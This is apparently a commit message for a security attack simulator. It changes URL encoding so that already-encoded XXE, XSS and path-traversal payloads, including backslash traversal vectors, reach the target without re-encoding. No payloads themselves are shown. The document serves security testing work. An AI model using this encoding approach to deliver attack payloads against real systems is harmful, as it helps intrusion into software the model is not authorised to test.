[fix]: preserve pre-encoded payloads in simulator requests

urllib.parse.quote(path, safe='/?&=') was re-encoding % to %25 in
already-encoded attack paths (XXE, XSS, traversal payloads). Replaced
with a manual first-? split: path component encoded with safe='/%\'
(preserving existing percent sequences and backslash traversal vectors),
query string passed through untouched. Covers all 53 attack payloads
across 7 simulation modes. Inline comments removed from XXE_PAYLOADS
to match the style of all other payload lists.
